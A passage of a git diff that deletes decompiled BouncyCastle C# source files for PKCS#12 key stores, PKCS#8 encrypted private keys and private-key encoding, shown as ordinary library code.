(AsymmetricKeyEntry)keys[alias]; - if (asymmetricKeyEntry != null) - { - keys.Remove(alias); - } - X509CertificateEntry x509CertificateEntry = (X509CertificateEntry)certs[alias]; - if (x509CertificateEntry != null) - { - certs.Remove(alias); - chainCerts.Remove(new CertId(x509CertificateEntry.Certificate.GetPublicKey())); - } - if (asymmetricKeyEntry != null) - { - string text = (string)localIds[alias]; - if (text != null) - { - localIds.Remove(alias); - x509CertificateEntry = (X509CertificateEntry)keyCerts[text]; - } - if (x509CertificateEntry != null) - { - keyCerts.Remove(text); - chainCerts.Remove(new CertId(x509CertificateEntry.Certificate.GetPublicKey())); - } - } - if (x509CertificateEntry == null && asymmetricKeyEntry == null) - { - throw new ArgumentException("no such entry as " + alias); - } - } - - public bool IsEntryOfType(string alias, Type entryType) - { - if ((object)entryType == typeof(X509CertificateEntry)) - { - return IsCertificateEntry(alias); - } - if ((object)entryType == typeof(AsymmetricKeyEntry)) - { - if (IsKeyEntry(alias)) - { - return GetCertificate(alias) != null; - } - return false; - } - return false; - } - - [Obsolete("Use 'Count' property instead")] - public int Size() - { - return Count; - } - - public void Save(Stream stream, char[] password, SecureRandom random) - { - if (stream == null) - { - throw new ArgumentNullException("stream"); - } - if (random == null) - { - throw new ArgumentNullException("random"); - } - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - foreach (string key2 in keys.Keys) - { - byte[] array = new byte[20]; - random.NextBytes(array); - AsymmetricKeyEntry asymmetricKeyEntry = (AsymmetricKeyEntry)keys[key2]; - DerObjectIdentifier oid; - Asn1Encodable asn1Encodable; - if (password == null) - { - oid = PkcsObjectIdentifiers.KeyBag; - asn1Encodable = PrivateKeyInfoFactory.CreatePrivateKeyInfo(asymmetricKeyEntry.Key); - } - else - { - oid = PkcsObjectIdentifiers.Pkcs8ShroudedKeyBag; - asn1Encodable = EncryptedPrivateKeyInfoFactory.CreateEncryptedPrivateKeyInfo(keyAlgorithm, password, array, 1024, asymmetricKeyEntry.Key); - } - Asn1EncodableVector asn1EncodableVector2 = new Asn1EncodableVector(); - foreach (string bagAttributeKey in asymmetricKeyEntry.BagAttributeKeys) - { - Asn1Encodable obj = asymmetricKeyEntry[bagAttributeKey]; - if (!bagAttributeKey.Equals(PkcsObjectIdentifiers.Pkcs9AtFriendlyName.Id)) - { - asn1EncodableVector2.Add(new DerSequence(new DerObjectIdentifier(bagAttributeKey), new DerSet(obj))); - } - } - asn1EncodableVector2.Add(new DerSequence(PkcsObjectIdentifiers.Pkcs9AtFriendlyName, new DerSet(new DerBmpString(key2)))); - if (asymmetricKeyEntry[PkcsObjectIdentifiers.Pkcs9AtLocalKeyID] == null) - { - X509CertificateEntry certificate = GetCertificate(key2); - AsymmetricKeyParameter publicKey = certificate.Certificate.GetPublicKey(); - SubjectKeyIdentifier obj2 = CreateSubjectKeyID(publicKey); - asn1EncodableVector2.Add(new DerSequence(PkcsObjectIdentifiers.Pkcs9AtLocalKeyID, new DerSet(obj2))); - } - asn1EncodableVector.Add(new SafeBag(oid, asn1Encodable.ToAsn1Object(), new DerSet(asn1EncodableVector2))); - } - byte[] derEncoded = new DerSequence(asn1EncodableVector).GetDerEncoded(); - ContentInfo contentInfo = new ContentInfo(PkcsObjectIdentifiers.Data, new BerOctetString(derEncoded)); - byte[] array2 = new byte[20]; - random.NextBytes(array2); - Asn1EncodableVector asn1EncodableVector3 = new Asn1EncodableVector(); - Pkcs12PbeParams pkcs12PbeParams = new Pkcs12PbeParams(array2, 1024); - AlgorithmIdentifier algorithmIdentifier = new AlgorithmIdentifier(certAlgorithm, pkcs12PbeParams.ToAsn1Object()); - ISet set = new HashSet(); - foreach (string key3 in keys.Keys) - { - X509CertificateEntry certificate2 = GetCertificate(key3); - CertBag certBag = new CertBag(PkcsObjectIdentifiers.X509Certificate, new DerOctetString(certificate2.Certificate.GetEncoded())); - Asn1EncodableVector asn1EncodableVector4 = new Asn1EncodableVector(); - foreach (string bagAttributeKey2 in certificate2.BagAttributeKeys) - { - Asn1Encodable obj3 = certificate2[bagAttributeKey2]; - if (!bagAttributeKey2.Equals(PkcsObjectIdentifiers.Pkcs9AtFriendlyName.Id)) - { - asn1EncodableVector4.Add(new DerSequence(new DerObjectIdentifier(bagAttributeKey2), new DerSet(obj3))); - } - } - asn1EncodableVector4.Add(new DerSequence(PkcsObjectIdentifiers.Pkcs9AtFriendlyName, new DerSet(new DerBmpString(key3)))); - if (certificate2[PkcsObjectIdentifiers.Pkcs9AtLocalKeyID] == null) - { - AsymmetricKeyParameter publicKey2 = certificate2.Certificate.GetPublicKey(); - SubjectKeyIdentifier obj4 = CreateSubjectKeyID(publicKey2); - asn1EncodableVector4.Add(new DerSequence(PkcsObjectIdentifiers.Pkcs9AtLocalKeyID, new DerSet(obj4))); - } - asn1EncodableVector3.Add(new SafeBag(PkcsObjectIdentifiers.CertBag, certBag.ToAsn1Object(), new DerSet(asn1EncodableVector4))); - set.Add(certificate2.Certificate); - } - foreach (string key4 in certs.Keys) - { - X509CertificateEntry x509CertificateEntry = (X509CertificateEntry)certs[key4]; - if (keys[key4] != null) - { - continue; - } - CertBag certBag2 = new CertBag(PkcsObjectIdentifiers.X509Certificate, new DerOctetString(x509CertificateEntry.Certificate.GetEncoded())); - Asn1EncodableVector asn1EncodableVector5 = new Asn1EncodableVector(); - foreach (string bagAttributeKey3 in x509CertificateEntry.BagAttributeKeys) - { - if (!bagAttributeKey3.Equals(PkcsObjectIdentifiers.Pkcs9AtLocalKeyID.Id)) - { - Asn1Encodable obj5 = x509CertificateEntry[bagAttributeKey3]; - if (!bagAttributeKey3.Equals(PkcsObjectIdentifiers.Pkcs9AtFriendlyName.Id)) - { - asn1EncodableVector5.Add(new DerSequence(new DerObjectIdentifier(bagAttributeKey3), new DerSet(obj5))); - } - } - } - asn1EncodableVector5.Add(new DerSequence(PkcsObjectIdentifiers.Pkcs9AtFriendlyName, new DerSet(new DerBmpString(key4)))); - asn1EncodableVector3.Add(new SafeBag(PkcsObjectIdentifiers.CertBag, certBag2.ToAsn1Object(), new DerSet(asn1EncodableVector5))); - set.Add(x509CertificateEntry.Certificate); - } - foreach (CertId key5 in chainCerts.Keys) - { - X509CertificateEntry x509CertificateEntry2 = (X509CertificateEntry)chainCerts[key5]; - if (set.Contains(x509CertificateEntry2.Certificate)) - { - continue; - } - CertBag certBag3 = new CertBag(PkcsObjectIdentifiers.X509Certificate, new DerOctetString(x509CertificateEntry2.Certificate.GetEncoded())); - Asn1EncodableVector asn1EncodableVector6 = new Asn1EncodableVector(); - foreach (string bagAttributeKey4 in x509CertificateEntry2.BagAttributeKeys) - { - if (!bagAttributeKey4.Equals(PkcsObjectIdentifiers.Pkcs9AtLocalKeyID.Id)) - { - asn1EncodableVector6.Add(new DerSequence(new DerObjectIdentifier(bagAttributeKey4), new DerSet(x509CertificateEntry2[bagAttributeKey4]))); - } - } - asn1EncodableVector3.Add(new SafeBag(PkcsObjectIdentifiers.CertBag, certBag3.ToAsn1Object(), new DerSet(asn1EncodableVector6))); - } - byte[] derEncoded2 = new DerSequence(asn1EncodableVector3).GetDerEncoded(); - ContentInfo contentInfo2; - if (password == null) - { - contentInfo2 = new ContentInfo(PkcsObjectIdentifiers.Data, new BerOctetString(derEncoded2)); - } - else - { - byte[] str = CryptPbeData(forEncryption: true, algorithmIdentifier, password, wrongPkcs12Zero: false, derEncoded2); - EncryptedData encryptedData = new EncryptedData(PkcsObjectIdentifiers.Data, algorithmIdentifier, new BerOctetString(str)); - contentInfo2 = new ContentInfo(PkcsObjectIdentifiers.EncryptedData, encryptedData.ToAsn1Object()); - } - ContentInfo[] info = new ContentInfo[2] { contentInfo, contentInfo2 }; - byte[] encoded = new AuthenticatedSafe(info).GetEncoded(useDerEncoding ? "DER" : "BER"); - ContentInfo contentInfo3 = new ContentInfo(PkcsObjectIdentifiers.Data, new BerOctetString(encoded)); - MacData macData = null; - if (password != null) - { - byte[] array3 = new byte[20]; - random.NextBytes(array3); - byte[] digest = CalculatePbeMac(OiwObjectIdentifiers.IdSha1, array3, 1024, password, wrongPkcs12Zero: false, encoded); - AlgorithmIdentifier algID = new AlgorithmIdentifier(OiwObjectIdentifiers.IdSha1, DerNull.Instance); - DigestInfo digInfo = new DigestInfo(algID, digest); - macData = new MacData(digInfo, array3, 1024); - } - Pfx obj6 = new Pfx(contentInfo3, macData); - DerOutputStream derOutputStream = ((!useDerEncoding) ? new BerOutputStream(stream) : new DerOutputStream(stream)); - derOutputStream.WriteObject(obj6); - } - - internal static byte[] CalculatePbeMac(DerObjectIdentifier oid, byte[] salt, int itCount, char[] password, bool wrongPkcs12Zero, byte[] data) - { - Asn1Encodable pbeParameters = PbeUtilities.GenerateAlgorithmParameters(oid, salt, itCount); - ICipherParameters parameters = PbeUtilities.GenerateCipherParameters(oid, password, wrongPkcs12Zero, pbeParameters); - IMac mac = (IMac)PbeUtilities.CreateEngine(oid); - mac.Init(parameters); - return MacUtilities.DoFinal(mac, data); - } - - private static byte[] CryptPbeData(bool forEncryption, AlgorithmIdentifier algId, char[] password, bool wrongPkcs12Zero, byte[] data) - { - if (!(PbeUtilities.CreateEngine(algId.Algorithm) is IBufferedCipher bufferedCipher)) - { - throw new Exception("Unknown encryption algorithm: " + algId.Algorithm); - } - Pkcs12PbeParams instance = Pkcs12PbeParams.GetInstance(algId.Parameters); - ICipherParameters parameters = PbeUtilities.GenerateCipherParameters(algId.Algorithm, password, wrongPkcs12Zero, instance); - bufferedCipher.Init(forEncryption, parameters); - return bufferedCipher.DoFinal(data); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/Pkcs12StoreBuilder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/Pkcs12StoreBuilder.cs deleted file mode 100644 index 7341bd1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/Pkcs12StoreBuilder.cs +++ /dev/null @@ -1,36 +0,0 @@ -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Pkcs; - -namespace Org.BouncyCastle.Pkcs; - -public class Pkcs12StoreBuilder -{ - private DerObjectIdentifier keyAlgorithm = PkcsObjectIdentifiers.PbeWithShaAnd3KeyTripleDesCbc; - - private DerObjectIdentifier certAlgorithm = PkcsObjectIdentifiers.PbewithShaAnd40BitRC2Cbc; - - private bool useDerEncoding = false; - - public Pkcs12Store Build() - { - return new Pkcs12Store(keyAlgorithm, certAlgorithm, useDerEncoding); - } - - public Pkcs12StoreBuilder SetCertAlgorithm(DerObjectIdentifier certAlgorithm) - { - this.certAlgorithm = certAlgorithm; - return this; - } - - public Pkcs12StoreBuilder SetKeyAlgorithm(DerObjectIdentifier keyAlgorithm) - { - this.keyAlgorithm = keyAlgorithm; - return this; - } - - public Pkcs12StoreBuilder SetUseDerEncoding(bool useDerEncoding) - { - this.useDerEncoding = useDerEncoding; - return this; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/Pkcs12Utilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/Pkcs12Utilities.cs deleted file mode 100644 index f5f8ed2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/Pkcs12Utilities.cs +++ /dev/null @@ -1,41 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.X509; - -namespace Org.BouncyCastle.Pkcs; - -public class Pkcs12Utilities -{ - public static byte[] ConvertToDefiniteLength(byte[] berPkcs12File) - { - Pfx pfx = new Pfx(Asn1Sequence.GetInstance(Asn1Object.FromByteArray(berPkcs12File))); - return pfx.GetEncoded("DER"); - } - - public static byte[] ConvertToDefiniteLength(byte[] berPkcs12File, char[] passwd) - { - Pfx pfx = new Pfx(Asn1Sequence.GetInstance(Asn1Object.FromByteArray(berPkcs12File))); - ContentInfo authSafe = pfx.AuthSafe; - Asn1OctetString instance = Asn1OctetString.GetInstance(authSafe.Content); - Asn1Object asn1Object = Asn1Object.FromByteArray(instance.GetOctets()); - authSafe = new ContentInfo(authSafe.ContentType, new DerOctetString(asn1Object.GetEncoded("DER"))); - MacData macData = pfx.MacData; - try - { - int intValue = macData.IterationCount.IntValue; - byte[] octets = Asn1OctetString.GetInstance(authSafe.Content).GetOctets(); - byte[] digest = Pkcs12Store.CalculatePbeMac(macData.Mac.AlgorithmID.Algorithm, macData.GetSalt(), intValue, passwd, wrongPkcs12Zero: false, octets); - AlgorithmIdentifier algID = new AlgorithmIdentifier(macData.Mac.AlgorithmID.Algorithm, DerNull.Instance); - DigestInfo digInfo = new DigestInfo(algID, digest); - macData = new MacData(digInfo, macData.GetSalt(), intValue); - } - catch (Exception ex) - { - throw new IOException("error constructing MAC: " + ex.ToString()); - } - pfx = new Pfx(authSafe, macData); - return pfx.GetEncoded("DER"); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/Pkcs8EncryptedPrivateKeyInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/Pkcs8EncryptedPrivateKeyInfo.cs deleted file mode 100644 index 5e5a626..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/Pkcs8EncryptedPrivateKeyInfo.cs +++ /dev/null @@ -1,71 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Pkcs; - -public class Pkcs8EncryptedPrivateKeyInfo -{ - private EncryptedPrivateKeyInfo encryptedPrivateKeyInfo; - - private static EncryptedPrivateKeyInfo parseBytes(byte[] pkcs8Encoding) - { - try - { - return EncryptedPrivateKeyInfo.GetInstance(pkcs8Encoding); - } - catch (ArgumentException ex) - { - throw new PkcsIOException("malformed data: " + ex.Message, ex); - } - catch (Exception ex2) - { - throw new PkcsIOException("malformed data: " + ex2.Message, ex2); - } - } - - public Pkcs8EncryptedPrivateKeyInfo(EncryptedPrivateKeyInfo encryptedPrivateKeyInfo) - { - this.encryptedPrivateKeyInfo = encryptedPrivateKeyInfo; - } - - public Pkcs8EncryptedPrivateKeyInfo(byte[] encryptedPrivateKeyInfo) - : this(parseBytes(encryptedPrivateKeyInfo)) - { - } - - public EncryptedPrivateKeyInfo ToAsn1Structure() - { - return encryptedPrivateKeyInfo; - } - - public byte[] GetEncryptedData() - { - return encryptedPrivateKeyInfo.GetEncryptedData(); - } - - public byte[] GetEncoded() - { - return encryptedPrivateKeyInfo.GetEncoded(); - } - - public PrivateKeyInfo DecryptPrivateKeyInfo(IDecryptorBuilderProvider inputDecryptorProvider) - { - try - { - ICipherBuilder cipherBuilder = inputDecryptorProvider.CreateDecryptorBuilder(encryptedPrivateKeyInfo.EncryptionAlgorithm); - ICipher cipher = cipherBuilder.BuildCipher(new MemoryInputStream(encryptedPrivateKeyInfo.GetEncryptedData())); - Stream stream = cipher.Stream; - byte[] obj = Streams.ReadAll(cipher.Stream); - Platform.Dispose(stream); - return PrivateKeyInfo.GetInstance(obj); - } - catch (Exception ex) - { - throw new PkcsException("unable to read encrypted data: " + ex.Message, ex); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/Pkcs8EncryptedPrivateKeyInfoBuilder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/Pkcs8EncryptedPrivateKeyInfoBuilder.cs deleted file mode 100644 index b593866..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/Pkcs8EncryptedPrivateKeyInfoBuilder.cs +++ /dev/null @@ -1,42 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Pkcs; - -public class Pkcs8EncryptedPrivateKeyInfoBuilder -{ - private PrivateKeyInfo privateKeyInfo; - - public Pkcs8EncryptedPrivateKeyInfoBuilder(byte[] privateKeyInfo) - : this(PrivateKeyInfo.GetInstance(privateKeyInfo)) - { - } - - public Pkcs8EncryptedPrivateKeyInfoBuilder(PrivateKeyInfo privateKeyInfo) - { - this.privateKeyInfo = privateKeyInfo; - } - - public Pkcs8EncryptedPrivateKeyInfo Build(ICipherBuilder encryptor) - { - try - { - MemoryStream memoryStream = new MemoryOutputStream(); - ICipher cipher = encryptor.BuildCipher(memoryStream); - byte[] encoded = privateKeyInfo.GetEncoded(); - Stream stream = cipher.Stream; - stream.Write(encoded, 0, encoded.Length); - Platform.Dispose(stream); - return new Pkcs8EncryptedPrivateKeyInfo(new EncryptedPrivateKeyInfo((AlgorithmIdentifier)encryptor.AlgorithmDetails, memoryStream.ToArray())); - } - catch (IOException) - { - throw new InvalidOperationException("cannot encode privateKeyInfo"); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/PkcsException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/PkcsException.cs deleted file mode 100644 index 5e2775b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/PkcsException.cs +++ /dev/null @@ -1,16 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Pkcs; - -public class PkcsException : Exception -{ - public PkcsException(string message) - : base(message) - { - } - - public PkcsException(string message, Exception underlying) - : base(message, underlying) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/PkcsIOException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/PkcsIOException.cs deleted file mode 100644 index 5cd2b0d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/PkcsIOException.cs +++ /dev/null @@ -1,17 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Pkcs; - -public class PkcsIOException : IOException -{ - public PkcsIOException(string message) - : base(message) - { - } - - public PkcsIOException(string message, Exception underlying) - : base(message, underlying) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/PrivateKeyInfoFactory.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/PrivateKeyInfoFactory.cs deleted file mode 100644 index 4573b25..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/PrivateKeyInfoFactory.cs +++ /dev/null @@ -1,193 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.CryptoPro; -using Org.BouncyCastle.Asn1.EdEC; -using Org.BouncyCastle.Asn1.Oiw; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.Rosstandart; -using Org.BouncyCastle.Asn1.Sec; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Generators; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Pkcs; - -public sealed class PrivateKeyInfoFactory -{ - private PrivateKeyInfoFactory() - { - } - - public static PrivateKeyInfo CreatePrivateKeyInfo(AsymmetricKeyParameter privateKey) - { - return CreatePrivateKeyInfo(privateKey, null); - } - - public static PrivateKeyInfo CreatePrivateKeyInfo(AsymmetricKeyParameter privateKey, Asn1Set attributes) - { - if (privateKey == null) - { - throw new ArgumentNullException("privateKey"); - } - if (!privateKey.IsPrivate) - { - throw new ArgumentException("Public key passed - private key expected", "privateKey"); - } - if (privateKey is ElGamalPrivateKeyParameters) - { - ElGamalPrivateKeyParameters elGamalPrivateKeyParameters = (ElGamalPrivateKeyParameters)privateKey; - ElGamalParameters parameters = elGamalPrivateKeyParameters.Parameters; - return new PrivateKeyInfo(new AlgorithmIdentifier(OiwObjectIdentifiers.ElGamalAlgorithm, new ElGamalParameter(parameters.P, parameters.G).ToAsn1Object()), new DerInteger(elGamalPrivateKeyParameters.X), attributes); - } - if (privateKey is DsaPrivateKeyParameters) - { - DsaPrivateKeyParameters dsaPrivateKeyParameters = (DsaPrivateKeyParameters)privateKey; - DsaParameters parameters2 = dsaPrivateKeyParameters.Parameters; - return new PrivateKeyInfo(new AlgorithmIdentifier(X9ObjectIdentifiers.IdDsa, new DsaParameter(parameters2.P, parameters2.Q, parameters2.G).ToAsn1Object()), new DerInteger(dsaPrivateKeyParameters.X), attributes); - } - if (privateKey is DHPrivateKeyParameters) - { - DHPrivateKeyParameters dHPrivateKeyParameters = (DHPrivateKeyParameters)privateKey; - DHParameter dHParameter = new DHParameter(dHPrivateKeyParameters.Parameters.P, dHPrivateKeyParameters.Parameters.G, dHPrivateKeyParameters.Parameters.L); - return new PrivateKeyInfo(new AlgorithmIdentifier(dHPrivateKeyParameters.AlgorithmOid, dHParameter.ToAsn1Object()), new DerInteger(dHPrivateKeyParameters.X), attributes); - } - if (privateKey is RsaKeyParameters) - { - AlgorithmIdentifier privateKeyAlgorithm = new AlgorithmIdentifier(PkcsObjectIdentifiers.RsaEncryption, DerNull.Instance); - RsaPrivateKeyStructure rsaPrivateKeyStructure; - if (privateKey is RsaPrivateCrtKeyParameters) - { - RsaPrivateCrtKeyParameters rsaPrivateCrtKeyParameters = (RsaPrivateCrtKeyParameters)privateKey; - rsaPrivateKeyStructure = new RsaPrivateKeyStructure(rsaPrivateCrtKeyParameters.Modulus, rsaPrivateCrtKeyParameters.PublicExponent, rsaPrivateCrtKeyParameters.Exponent, rsaPrivateCrtKeyParameters.P, rsaPrivateCrtKeyParameters.Q, rsaPrivateCrtKeyParameters.DP, rsaPrivateCrtKeyParameters.DQ, rsaPrivateCrtKeyParameters.QInv); - } - else - { - RsaKeyParameters rsaKeyParameters = (RsaKeyParameters)privateKey; - rsaPrivateKeyStructure = new RsaPrivateKeyStructure(rsaKeyParameters.Modulus, BigInteger.Zero, rsaKeyParameters.Exponent, BigInteger.Zero, BigInteger.Zero, BigInteger.Zero, BigInteger.Zero, BigInteger.Zero); - } - return new PrivateKeyInfo(privateKeyAlgorithm, rsaPrivateKeyStructure.ToAsn1Object(), attributes); - } - if (privateKey is ECPrivateKeyParameters) - { - ECPrivateKeyParameters eCPrivateKeyParameters = (ECPrivateKeyParameters)privateKey; - DerBitString publicKey = new DerBitString(ECKeyPairGenerator.GetCorrespondingPublicKey(eCPrivateKeyParameters).Q.GetEncoded(compressed: false)); - ECDomainParameters parameters3 = eCPrivateKeyParameters.Parameters; - if (parameters3 is ECGost3410Parameters) - { - ECGost3410Parameters eCGost3410Parameters = (ECGost3410Parameters)parameters3; - Gost3410PublicKeyAlgParameters parameters4 = new Gost3410PublicKeyAlgParameters(eCGost3410Parameters.PublicKeyParamSet, eCGost3410Parameters.DigestParamSet, eCGost3410Parameters.EncryptionParamSet); - bool flag = eCPrivateKeyParameters.D.BitLength > 256; - DerObjectIdentifier algorithm = (flag ? RosstandartObjectIdentifiers.id_tc26_gost_3410_12_512 : RosstandartObjectIdentifiers.id_tc26_gost_3410_12_256); - int num = (flag ? 64 : 32); - byte[] array = new byte[num]; - ExtractBytes(array, num, 0, eCPrivateKeyParameters.D); - return new PrivateKeyInfo(new AlgorithmIdentifier(algorithm, parameters4), new DerOctetString(array)); - } - int bitLength = parameters3.N.BitLength; - AlgorithmIdentifier privateKeyAlgorithm2; - ECPrivateKeyStructure privateKey2; - if (eCPrivateKeyParameters.AlgorithmName == "ECGOST3410") - { - if (eCPrivateKeyParameters.PublicKeyParamSet == null) - { - throw Platform.CreateNotImplementedException("Not a CryptoPro parameter set"); - } - Gost3410PublicKeyAlgParameters parameters5 = new Gost3410PublicKeyAlgParameters(eCPrivateKeyParameters.PublicKeyParamSet, CryptoProObjectIdentifiers.GostR3411x94CryptoProParamSet); - privateKeyAlgorithm2 = new AlgorithmIdentifier(CryptoProObjectIdentifiers.GostR3410x2001, parameters5); - privateKey2 = new ECPrivateKeyStructure(bitLength, eCPrivateKeyParameters.D, publicKey, null); - } - else - { - X962Parameters parameters6; - if (eCPrivateKeyParameters.PublicKeyParamSet == null) - { - X9ECParameters ecParameters = new X9ECParameters(parameters3.Curve, parameters3.G, parameters3.N, parameters3.H, parameters3.GetSeed()); - parameters6 = new X962Parameters(ecParameters); - } - else - { - parameters6 = new X962Parameters(eCPrivateKeyParameters.PublicKeyParamSet); - } - privateKey2 = new ECPrivateKeyStructure(bitLength, eCPrivateKeyParameters.D, publicKey, parameters6); - privateKeyAlgorithm2 = new AlgorithmIdentifier(X9ObjectIdentifiers.IdECPublicKey, parameters6); - } - return new PrivateKeyInfo(privateKeyAlgorithm2, privateKey2, attributes); - } - if (privateKey is Gost3410PrivateKeyParameters) - { - Gost3410PrivateKeyParameters gost3410PrivateKeyParameters = (Gost3410PrivateKeyParameters)privateKey; - if (gost3410PrivateKeyParameters.PublicKeyParamSet == null) - { - throw Platform.CreateNotImplementedException("Not a CryptoPro parameter set"); - } - byte[] array2 = gost3410PrivateKeyParameters.X.ToByteArrayUnsigned(); - byte[] array3 = new byte[array2.Length]; - for (int i = 0; i != array3.Length; i++) - { - array3[i] = array2[array2.Length - 1 - i]; - } - Gost3410PublicKeyAlgParameters gost3410PublicKeyAlgParameters = new Gost3410PublicKeyAlgParameters(gost3410PrivateKeyParameters.PublicKeyParamSet, CryptoProObjectIdentifiers.GostR3411x94CryptoProParamSet, null); - AlgorithmIdentifier privateKeyAlgorithm3 = new AlgorithmIdentifier(CryptoProObjectIdentifiers.GostR3410x94, gost3410PublicKeyAlgParameters.ToAsn1Object()); - return new PrivateKeyInfo(privateKeyAlgorithm3, new DerOctetString(array3), attributes); - } - if (privateKey is X448PrivateKeyParameters) - { - X448PrivateKeyParameters x448PrivateKeyParameters = (X448PrivateKeyParameters)privateKey; - return new PrivateKeyInfo(new AlgorithmIdentifier(EdECObjectIdentifiers.id_X448), new DerOctetString(x448PrivateKeyParameters.GetEncoded()), attributes, x448PrivateKeyParameters.GeneratePublicKey().GetEncoded()); - } - if (privateKey is X25519PrivateKeyParameters) - { - X25519PrivateKeyParameters x25519PrivateKeyParameters = (X25519PrivateKeyParameters)privateKey; - return new PrivateKeyInfo(new AlgorithmIdentifier(EdECObjectIdentifiers.id_X25519), new DerOctetString(x25519PrivateKeyParameters.GetEncoded()), attributes, x25519PrivateKeyParameters.GeneratePublicKey().GetEncoded()); - } - if (privateKey is Ed448PrivateKeyParameters) - { - Ed448PrivateKeyParameters ed448PrivateKeyParameters = (Ed448PrivateKeyParameters)privateKey; - return new PrivateKeyInfo(new AlgorithmIdentifier(EdECObjectIdentifiers.id_Ed448), new DerOctetString(ed448PrivateKeyParameters.GetEncoded()), attributes, ed448PrivateKeyParameters.GeneratePublicKey().GetEncoded()); - } - if (privateKey is Ed25519PrivateKeyParameters) - { - Ed25519PrivateKeyParameters ed25519PrivateKeyParameters = (Ed25519PrivateKeyParameters)privateKey; - return new PrivateKeyInfo(new AlgorithmIdentifier(EdECObjectIdentifiers.id_Ed25519), new DerOctetString(ed25519PrivateKeyParameters.GetEncoded()), attributes, ed25519PrivateKeyParameters.GeneratePublicKey().GetEncoded()); - } - throw new ArgumentException("Class provided is not convertible: " + Platform.GetTypeName(privateKey)); - } - - public static PrivateKeyInfo CreatePrivateKeyInfo(char[] passPhrase, EncryptedPrivateKeyInfo encInfo) - { - return CreatePrivateKeyInfo(passPhrase, wrongPkcs12Zero: false, encInfo); - } - - public static PrivateKeyInfo CreatePrivateKeyInfo(char[] passPhrase, bool wrongPkcs12Zero, EncryptedPrivateKeyInfo encInfo) - { - AlgorithmIdentifier encryptionAlgorithm = encInfo.EncryptionAlgorithm; - if (!(PbeUtilities.CreateEngine(encryptionAlgorithm) is IBufferedCipher bufferedCipher)) - { - throw new Exception("Unknown encryption algorithm: " + encryptionAlgorithm.Algorithm); - } - ICipherParameters parameters = PbeUtilities.GenerateCipherParameters(encryptionAlgorithm, passPhrase, wrongPkcs12Zero); - bufferedCipher.Init(forEncryption: false, parameters); - byte[] obj = bufferedCipher.DoFinal(encInfo.GetEncryptedData()); - return PrivateKeyInfo.GetInstance(obj); - } - - private static void ExtractBytes(byte[] encKey, int size, int offSet, BigInteger bI) - { - byte[] array = bI.ToByteArray(); - if (array.Length < size) - { - byte[] array2 = new byte[size]; - Array.Copy(array, 0, array2, array2.Length - array.Length, array.Length); - array = array2; - } - for (int i = 0; i != size; i++) - { - encKey[offSet + i] = array[array.Length - 1 - i]; - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/X509CertificateEntry.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/X509CertificateEntry.cs deleted file mode 100644 index 2ab1d13..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkcs/X509CertificateEntry.cs +++ /dev/null @@ -1,46 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Pkcs; - -public class X509CertificateEntry : Pkcs12Entry -{ - private readonly X509Certificate cert; - - public X509Certificate Certificate => cert; - - public X509CertificateEntry(X509Certificate cert) - : base(Platform.CreateHashtable()) - { - this.cert = cert; - } - - [Obsolete] - public X509CertificateEntry(X509Certificate cert, Hashtable attributes) - : base(attributes) - { - this.cert = cert; - } - - public 